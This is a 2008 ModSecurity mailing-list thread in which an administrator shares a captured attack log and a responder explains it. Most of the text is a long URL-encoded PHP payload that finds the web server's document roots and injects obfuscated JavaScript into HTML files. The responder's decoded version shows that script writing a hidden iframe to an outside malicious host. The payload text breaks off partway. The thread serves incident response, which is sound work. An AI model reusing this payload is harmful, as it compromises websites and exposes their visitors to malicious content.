Re: [mod-security-users] hi, I have captured hacking activity in the modsecurity audit log, decod
Brought to you by:
victorhora,
zimmerletw
From: Christian B. <ch...@jw...> - 2008-01-03 12:12:32
|
Hi Philippe, thanks for your attack-event. I tried to write a small summary of what=20 the skript does. It can be found on: http://www.jwall.org/script.jsp Basically it "just" tries to lookup all your system's document-root=20 directories and then inserts a small JavaScript-snippet into all=20 HTML-files within these directories. The JavaScript snippet produces an=20 inner html-frame: <iframe src=3D"http://www.hqmpg.com/freeporn/thumbs/z/static.php"=20 width=3D2 height=3D2 style=3D"display:none"></iframe> You should probably check for all files within your document-roots that=20 have been changed after 31/Dec/2007:16:46:00, though I do not think the=20 skript executed successfully. Regards, Chris philippe dr schrieb: > > Hi all, > > =20 > > My name is philippe, last week I have sucessfully installed=20 > ModSecurity2 and straight away it has catched up hacker activity on my = > centos4 system. So first thanks a lot for such a good tool, I regret I = > didn=92t installed it sooner !! > > =20 > > I have located and removed the buggy cgi script the hacker was able to = > exploit. > > And restricted his IP at firewall level. > > =20 > > Looking at the error log this has been going on for about a month with = > a couple of hack requests every day (about 4). > > =20 > > I have captured the audit log, and decoded the post payload, I=20 > understand this is malicious activity and whould like your opinion on: > > =20 > > - what the script is doing ? > > - where I should look in the system to find signs of=20 > compromise=85 if any > > =20 > > I am running a plesk 8 system, and I believe some protections=20 > mechanisms are there to protect the server, I did review quickly the=20 > syslog and susexeclog to find out suspects activity going on at the=20 > time of the attack but didn=92t find anything yet. > > =20 > > I have changed my real host name with myhosthere for security reasons=85= > > =20 > > =20 > > --ac6f6e57-A-- > > [31/Dec/2007:16:47:21 --0500] -R3NtX8AAAEAAFx7AmwAAAAW 195.5.116.250=20 > 49143 myiphere 80 > > --ac6f6e57-B-- > > POST /cgi-bin/at3/x/x2.cgi HTTP/1.0 > > Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,=20 > application/vnd.ms-excel, application/vnd.ms-powerpoint,=20 > application/msword, application/x-shockwave-flash, */* > > Accept-Language: en-us > > Content-Type: application/x-www-form-urlencoded > > Accept-Encoding: deflate > > User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) > > Connection: Keep-Alive > > Cache-Control: no-cache > > Host: myhosthere.com > > Cookie: atluser=3Duser$pass$atl$ > > Content-Length: 25633 > > =20 > > --ac6f6e57-C-- > > x=3D32&template=3D/var/www/vhosts/myhosthere.com/httpdocs/st/backup.php= ¬es=3D%3C%3F%0A%0A%24%64%65%62%75%67%3D%30%3B%0A%0A%23%24%5F%47%45%54%= 5B%6C%5D%3D%30%3B%0A%0A%0A%0A%24%63%6F%64%65%20%3D%20%22%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%3C%73%63%72%69%70%74%3E%20%76%61%72%20%73%3D%2= 7%33%43%36%39%36%36%37%32%36%31%36%44%36%35%32%30%37%33%37%32%36%33%33%44= %32%32%36%38%37%34%37%34%37%30%33%41%32%46%32%46%37%37%37%37%37%37%32%45%= 36%38%37%31%36%44%37%30%36%37%32%45%36%33%36%46%36%44%32%46%36%36%37%32%3= 6%35%36%35%37%30%36%46%37%32%36%45%32%46%37%34%36%38%37%35%36%44%36%32%37= %33%32%46%37%41%32%46%37%33%37%34%36%31%37%34%36%39%36%33%32%45%37%30%36%= 38%37%30%32%32%32%30%37%37%36%39%36%34%37%34%36%38%33%44%33%32%32%30%36%3= 8%36%35%36%39%36%37%36%38%37%34%33%44%33%32%32%30%37%33%37%34%37%39%36%43= %36%35%33%44%32%32%36%34%36%39%37%33%37%30%36%43%36%31%37%39%33%41%36%45%= 36%46%36%45%36%35%32%32%33%45%33%43%32%46%36%39%36%36%37%32%36%31%36%44%3= 6%35%33%45%27%3B%20%76%61%72%20%6F%3D%27%27%3B%20%66%6F%72%28%69%3D%30%3B= %69%3C%73%2E%6C%65%6E%67%74%68%3B%69%3D%69%2B%32%29%20%7B%20%76%61%72%20%= 63%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%33%37%2= 9%3B%20%20%6F%3D%6F%2B%63%2B%73%2E%73%75%62%73%74%72%28%69%2C%32%29%3B%7D= %20%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%= 28%6F%29%29%3B%20%3C%2F%73%63%72%69%70%74%3E%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2= 0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20= %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%= 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22%3B%0A%0A%6= 5%72%72%6F%72%5F%72%65%70%6F%72%74%69%6E%67%28%20%45%5F%45%52%52%4F%52%20= %29%3B%0A%0A%69%66%20%28%24%5F%47%45%54%5B%6C%5D%3D%3D%30%29%20%7B%20%24%= 5F%47%45%54%5B%70%5D%20%3D%20%27%2E%2F%27%3B%20%7D%0A%69%66%20%28%24%5F%4= 7%45%54%5B%6C%5D%3D%3D%31%29%20%7B%20%24%5F%47%45%54%5B%70%5D%20%3D%20%27= %2E%2E%2F%27%3B%20%7D%0A%69%66%20%28%24%5F%47%45%54%5B%6C%5D%3D%3D%32%29%= 20%7B%20%24%5F%47%45%54%5B%70%5D%20%3D%20%27%2E%2E%2F%2E%2E%2F%27%3B%20%7= D%0A%69%66%20%28%24%5F%47%45%54%5B%6C%5D%3D%3D%33%29%20%7B%20%24%5F%47%45= %54%5B%70%5D%20%3D%20%27%2E%2E%2F%2E%2E%2F%2E%2E%2F%27%3B%20%7D%0A%69%66%= 20%28%24%5F%47%45%54%5B%6C%5D%3D%3D%34%29%20%7B%20%24%5F%47%45%54%5B%70%5= D%20%3D%20%27%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%27%3B%20%7D%0A%0A%24%70= %61%74%68%3D%24%61%72%67%76%5B%31%5D%3B%0A%69%66%20%28%73%74%72%6C%65%6E%= 28%24%70%61%74%68%29%3C%32%29%7B%20%24%70%61%74%68%3D%24%5F%47%45%54%5B%7= 0%5D%3B%20%7D%0A%69%66%20%28%73%74%72%6C%65%6E%28%24%70%61%74%68%29%3C%32= %29%7B%20%24%70%61%74%68%3D%27%2E%2F%27%3B%20%7D%0A%0A%0A%69%66%20%28%24%= 5F%47%45%54%5B%6C%5D%3D%3D%31%30%30%20%6F%72%20%24%61%72%67%76%5B%32%5D%3= D%3D%27%31%30%30%27%29%20%0A%7B%0A%24%73%65%72%76%65%72%72%6F%6F%74%3D%27= %27%3B%0A%24%70%61%74%68%73%20%3D%20%67%65%74%70%61%74%68%73%28%29%3B%0A%= 65%63%68%6F%20%22%70%61%74%68%73%3D%24%70%61%74%68%73%5C%6E%22%3B%0A%0A%2= 4%63%6F%75%6E%74%77%72%3D%30%3B%0A%24%63%6F%75%6E%74%64%6F%6E%65%3D%30%3B= %0A%24%63%6F%75%6E%74%70%72%65%76%3D%30%3B%0A%24%61%6C%6C%20%3D%20%65%78%= 70%6C%6F%64%65%28%27%3A%3A%27%2C%24%70%61%74%68%73%29%3B%0A%66%6F%72%65%6= 1%63%68%20%28%24%61%6C%6C%20%61%73%20%24%70%61%74%68%29%0A%7B%0A%20%20%63= %68%65%63%6B%70%61%74%68%28%24%70%61%74%68%29%3B%0A%7D%0A%0A%65%63%68%6F%= 20%22%20%20%43%6F%75%6E%74%57%52%3A%20%24%63%6F%75%6E%74%77%72%3C%62%72%3= E%5C%6E%22%3B%0A%65%63%68%6F%20%22%43%6F%75%6E%74%44%6F%6E%65%3A%20%24%63= %6F%75%6E%74%64%6F%6E%65%3C%62%72%3E%5C%6E%22%3B%0A%65%63%68%6F%20%22%43%= 6F%75%6E%74%50%72%65%76%3A%20%24%63%6F%75%6E%74%70%72%65%76%3C%62%72%3E%5= C%6E%22%3B%0A%0A%0A%65%78%69%74%3B%0A%0A%7D%0A%0A%65%6C%73%65%0A%7B%0A%20= %20%20%20%24%63%6F%75%6E%74%77%72%3D%30%3B%0A%20%20%20%20%24%63%6F%75%6E%= 74%64%6F%6E%65%3D%30%3B%0A%20%20%20%20%24%63%6F%75%6E%74%70%72%65%76%3D%3= 0%3B%0A%20%20%20%20%63%68%65%63%6B%70%61%74%68%28%24%70%61%74%68%29%3B%0A= %20%20%20%20%65%63%68%6F%20%22%20%20%43%6F%75%6E%74%57%52%3A%20%24%63%6F%= 75%6E%74%77%72%3C%62%72%3E%5C%6E%22%3B%0A%20%20%20%20%65%63%68%6F%20%22%4= 3%6F%75%6E%74%44%6F%6E%65%3A%20%24%63%6F%75%6E%74%64%6F%6E%65%3C%62%72%3E= %5C%6E%22%3B%0A%20%20%20%20%65%63%68%6F%20%22%43%6F%75%6E%74%50%72%65%76%= 3A%20%24%63%6F%75%6E%74%70%72%65%76%3C%62%72%3E%5C%6E%22%3B%0A%7D%0A%0A%6= 5%78%69%74%3B%0A%0A%66%75%6E%63%74%69%6F%6E%20%67%65%74%70%61%74%68%73%28= %29%0A%7B%0A%20%20%67%6C%6F%62%61%6C%20%24%64%65%62%75%67%2C%24%73%65%72%= 76%65%72%72%6F%6F%74%3B%0A%23%20%20%69%66%20%28%24%64%65%62%75%67%21%3D%3= 1%29%20%7B%20%69%66%20%28%66%69%6C%65%5F%65%78%69%73%74%73%28%27%2F%74%6D= %70%2F%70%61%74%68%73%27%29%29%20%7B%20%72%65%74%75%72%6E%20%27%27%3B%20%= 7D%20%20%24%66%70%3D%66%6F%70%65%6E%28%27%2F%74%6D%70%2F%70%61%74%68%73%2= 7%2C%27%77%27%29%3B%20%66%63%6C%6F%73%65%28%24%66%70%29%3B%20%7D%0A%0A%20= %20%20%20%24%70%61%74%68%73%20%3D%20%27%3A%3A%27%3B%0A%0A%20%20%20%20%24%= 63%6F%6D%6D%61%6E%64%20%20%3D%20%27%66%69%6E%64%20%2F%65%74%63%20%32%3E%2= F%64%65%76%2F%6E%75%6C%6C%20%27%2E%63%68%72%28%30%78%37%43%29%2E%27%20%67= %72%65%70%20%5C%27%68%74%74%70%64%5C%2E%63%6F%6E%66%5C%27%27%3B%0A%20%20%= 20%20%24%63%6F%6D%6D%61%6E%64%20%2E%3D%20%27%3B%66%69%6E%64%20%2F%76%61%7= 2%20%32%3E%2F%64%65%76%2F%6E%75%6C%6C%20%27%2E%63%68%72%28%30%78%37%43%29= %2E%27%20%67%72%65%70%20%5C%27%68%74%74%70%64%5C%2E%63%6F%6E%66%5C%27%27%= 3B%0A%20%20%20%20%24%63%6F%6D%6D%61%6E%64%20%2E%3D%20%27%3B%66%69%6E%64%2= 0%2F%75%73%72%2F%6C%6F%63%61%6C%20%32%3E%2F%64%65%76%2F%6E%75%6C%6C%20%27= %2E%63%68%72%28%30%78%37%43%29%2E%27%20%67%72%65%70%20%5C%27%68%74%74%70%= 64%5C%2E%63%6F%6E%66%5C%27%27%3B%0A%20%20%20%20%24%66%70%20%3D%20%70%6F%7= 0%65%6E%28%24%63%6F%6D%6D%61%6E%64%2C%27%72%27%29%3B%0A%20%20%20%20%77%68= %69%6C%65%20%28%21%66%65%6F%66%28%24%66%70%29%29%0A%20%20%20%20%7B%0A%20%= 20%20%20%20%20%24%66%6E%61%6D%65%20%3D%20%66%67%65%74%73%28%24%66%70%29%3= B%20%20%0A%20%20%20%20%20%20%24%66%6E%61%6D%65%20%3D%20%73%75%62%73%74%72= %28%24%66%6E%61%6D%65%2C%30%2C%73%74%72%6C%65%6E%28%24%66%6E%61%6D%65%29%= 2D%31%29%3B%0A%20%20%20%20%20%20%69%66%20%28%73%74%72%6C%65%6E%28%24%66%6= E%61%6D%65%29%3C%31%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20= %20%20%20%20%65%63%68%6F%20%22%68%74%74%70%64%2E%63%6F%6E%66%3A%20%22%2E%= 24%66%6E%61%6D%65%2E%22%5C%6E%22%3B%0A%20%20%20%20%20%20%69%66%20%28%24%6= 4%65%62%75%67%3D%3D%31%29%20%7B%20%24%66%6E%61%6D%65%3D%27%68%74%74%70%64= %2E%63%6F%6E%66%27%3B%20%7D%0A%20%20%20%20%20%20%24%70%61%74%68%73%20%3D%= 20%63%68%65%63%6B%63%6F%6E%66%28%24%66%6E%61%6D%65%2C%24%70%61%74%68%73%2= C%27%27%29%3B%0A%20%20%20%20%20%20%0A%20%20%20%20%7D%0A%20%20%20%20%70%63= %6C%6F%73%65%28%24%66%70%29%3B%0A%20%20%20%20%0A%20%20%20%20%20%20%69%66%= 20%28%73%75%62%73%74%72%28%24%70%61%74%68%73%2C%30%2C%32%29%3D%3D%27%3A%3= A%27%29%20%20%7B%20%24%70%61%74%68%73%20%3D%20%73%75%62%73%74%72%28%24%70= %61%74%68%73%2C%32%2C%73%74%72%6C%65%6E%28%24%70%61%74%68%73%29%2D%32%29%= 3B%7D%0A%20%20%20%20%20%20%69%66%20%28%73%75%62%73%74%72%28%24%70%61%74%6= 8%73%2C%2D%32%2C%32%29%3D%3D%27%3A%3A%27%29%20%7B%20%24%70%61%74%68%73%20= %3D%20%73%75%62%73%74%72%28%24%70%61%74%68%73%2C%30%2C%73%74%72%6C%65%6E%= 28%24%70%61%74%68%73%29%2D%32%29%3B%7D%20%0A%20%20%20%20%20%20%69%66%20%2= 8%73%74%72%6C%65%6E%28%24%70%61%74%68%73%29%3D%3D%30%29%20%0A%20%20%20%20= %20%20%7B%0A%20%20%20%20%20%20%20%20%65%63%68%6F%20%22%50%61%74%68%73%20%= 66%6F%75%6E%64%3A%20%30%5C%6E%22%3B%20%0A%20%20%20%20%20%20%7D%0A%20%20%2= 0%20%20%20%65%6C%73%65%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20= %65%63%68%6F%20%22%45%4E%44%20%50%61%74%68%73%20%66%6F%75%6E%64%3A%20%22%= 2E%28%63%6F%75%6E%74%28%65%78%70%6C%6F%64%65%28%27%3A%3A%27%2C%24%70%61%7= 4%68%73%29%29%29%2E%22%5C%6E%22%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20= %0A%0A%20%20%20%20%72%65%74%75%72%6E%20%24%70%61%74%68%73%3B%0A%0A%7D%0A%= 0A%0A%0A%66%75%6E%63%74%69%6F%6E%20%63%68%65%63%6B%63%6F%6E%66%28%24%66%6= E%61%6D%65%2C%24%70%61%74%68%73%2C%24%73%65%72%76%65%72%72%6F%6F%74%29%0A= %7B%0A%23%20%20%20%20%65%63%68%6F%20%22%63%68%65%63%6B%69%6E%67%20%63%6F%= 6E%66%20%66%69%6C%65%3A%20%24%66%6E%61%6D%65%5C%6E%22%3B%0A%0A%20%20%20%2= 0%24%66%70%20%3D%20%66%6F%70%65%6E%28%24%66%6E%61%6D%65%2C%27%72%27%29%3B= %0A%20%20%20%20%69%66%20%28%21%24%66%70%29%20%7B%20%20%65%63%68%6F%20%22%= 70%65%72%6D%69%73%73%69%6F%6E%20%64%65%6E%69%65%64%3A%20%24%66%6E%61%6D%6= 5%5C%6E%22%3B%20%72%65%74%75%72%6E%20%27%27%3B%20%7D%0A%20%20%20%20%0A%20= %20%20%20%77%68%69%6C%65%20%28%21%66%65%6F%66%28%24%66%70%29%29%0A%20%20%= 20%20%7B%0A%20%20%20%20%20%20%24%73%74%72%20%3D%20%66%67%65%74%73%28%24%6= 6%70%29%3B%20%20%0A%20%20%20%20%20%20%0A%20%20%20%20%20%20%69%66%20%28%73= %75%62%73%74%72%28%24%73%74%72%2C%30%2C%31%29%3D%3D%27%23%27%29%20%7B%20%= 63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%20%20%20%20%20%20%0A%20%20%20%20%20%2= 0%69%66%20%28%73%74%72%73%74%72%28%24%73%74%72%2C%27%53%65%72%76%65%72%52= %6F%6F%74%27%29%29%20%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%= 6C%69%73%74%20%28%24%74%65%6D%70%2C%24%73%72%6F%6F%74%29%20%3D%20%65%78%7= 0%6C%6F%64%65%28%27%53%65%72%76%65%72%52%6F%6F%74%27%2C%24%73%74%72%29%3B= %0A%09%24%73%72%6F%6F%74%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%27%= 20%27%2C%27%27%2C%24%73%72%6F%6F%74%29%3B%0A%09%24%73%72%6F%6F%74%20%3D%2= 0%73%74%72%5F%72%65%70%6C%61%63%65%28%22%5C%6E%22%2C%27%27%2C%24%73%72%6F= %6F%74%29%3B%0A%09%24%73%72%6F%6F%74%20%3D%20%73%74%72%5F%72%65%70%6C%61%= 63%65%28%22%5C%22%22%2C%27%27%2C%24%73%72%6F%6F%74%29%3B%0A%09%69%66%20%2= 8%73%75%62%73%74%72%5F%63%6F%75%6E%74%28%24%73%72%6F%6F%74%2C%27%2F%27%29= %3C%32%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%09%24%73%65%72%76%= 65%72%72%6F%6F%74%20%3D%20%24%73%72%6F%6F%74%3B%0A%09%69%66%20%28%73%75%6= 2%73%74%72%28%24%73%65%72%76%65%72%72%6F%6F%74%2C%2D%31%2C%31%29%21%3D%27= %2F%27%29%20%7B%20%24%73%65%72%76%65%72%72%6F%6F%74%2E%3D%27%2F%27%3B%7D%= 0A%09%65%63%68%6F%20%22%53%65%72%76%65%72%52%6F%6F%74%3A%20%2D%24%73%65%7= 2%76%65%72%72%6F%6F%74%2D%5C%6E%22%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20= %20%20%20%0A%20%20%20%20%20%20%69%66%20%28%73%74%72%73%74%72%28%24%73%74%= 72%2C%27%44%6F%63%75%6D%65%6E%74%52%6F%6F%74%27%29%29%20%0A%20%20%20%20%2= 0%20%7B%0A%20%20%20%20%20%20%20%20%6C%69%73%74%20%28%24%74%65%6D%70%2C%24= %70%61%74%68%29%20%3D%20%65%78%70%6C%6F%64%65%28%27%44%6F%63%75%6D%65%6E%= 74%52%6F%6F%74%27%2C%24%73%74%72%29%3B%0A%09%24%70%61%74%68%20%3D%20%73%7= 4%72%5F%72%65%70%6C%61%63%65%28%27%20%27%2C%27%27%2C%24%70%61%74%68%29%3B= %0A%09%24%70%61%74%68%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%22%5C%= 6E%22%2C%27%27%2C%24%70%61%74%68%29%3B%0A%09%24%70%61%74%68%20%3D%20%73%7= 4%72%5F%72%65%70%6C%61%63%65%28%22%5C%22%22%2C%27%27%2C%24%70%61%74%68%29= %3B%0A%09%69%66%20%28%73%75%62%73%74%72%5F%63%6F%75%6E%74%28%24%70%61%74%= 68%2C%27%2F%27%29%3C%32%29%20%7B%20%63%6F%6E%74%69%6E%75%65%3B%20%7D%0A%0= 9%69%66%20%28%21%28%73%74%72%73%74%72%28%24%70%61%74%68%73%2C%27%3A%3A%27= %2E%24%70%61%74%68%2E%27%3A%3A%27%29%29%29%20%7B%20%24%70%61%74%68%73%20%= 2E%3D%20%24%70%61%74%68%2E%27%3A%3A%27%3B%20%65%63%68%6F%20%22%41%44%44%4= 5%44%20%50%41%54%48%3A%20%24%70%61%74%68%5C%6E%22%3B%20%7D%0A%09%2F%2F%65= %63%68%6F%20%22%5B%30%5D%20%70%61%74%68%73%3D%24%70%61%74%68%73%5C%6E%22%= 20%3B%0A%20%20%20%20%20%20%7D%0A%20%20%20%20%20%0A%20%20%20%20%20%20%69%6= 6%20%28%73%74%72%73%74%72%28%24%73%74%72%2C%27%6E%63%6C%75%64%65%27%29%20= %26%26%20%28%21%28%73%74%72%73%74%72%28%24%73%74%72%2C%27%6F%64%75%6C%65%= 27%29%29%29%29%0A%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%6C%69%7= 3%74%20%28%24%74%65%6D%70%2C%24%66%6E%61%6D%65%29%20%3D%20%65%78%70%6C%6F= %64%65%28%27%6E%63%6C%75%64%65%27%2C%24%73%74%72%29%3B%0A%09%24%66%6E%61%= 6D%65%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%27%20%27%2C%27%27%2C%2= 4%66%6E%61%6D%65%29%3B%0A%09%24%66%6E%61%6D%65%20%3D%20%73%74%72%5F%72%65= %70%6C%61%63%65%28%22%5C%6E%22%2C%27%27%2C%24%66%6E%61%6D%65%29%3B%0A%09%= 24%66%6E%61%6D%65%20%3D%20%73%74%72%5F%72%65%70%6C%61%63%65%28%22%5C%22%2= 2%2C%27%27%2C%24%66%6E%61%6D%65%29%3B%0A%09%69%66%20%28%73%74%72%73%74%72= 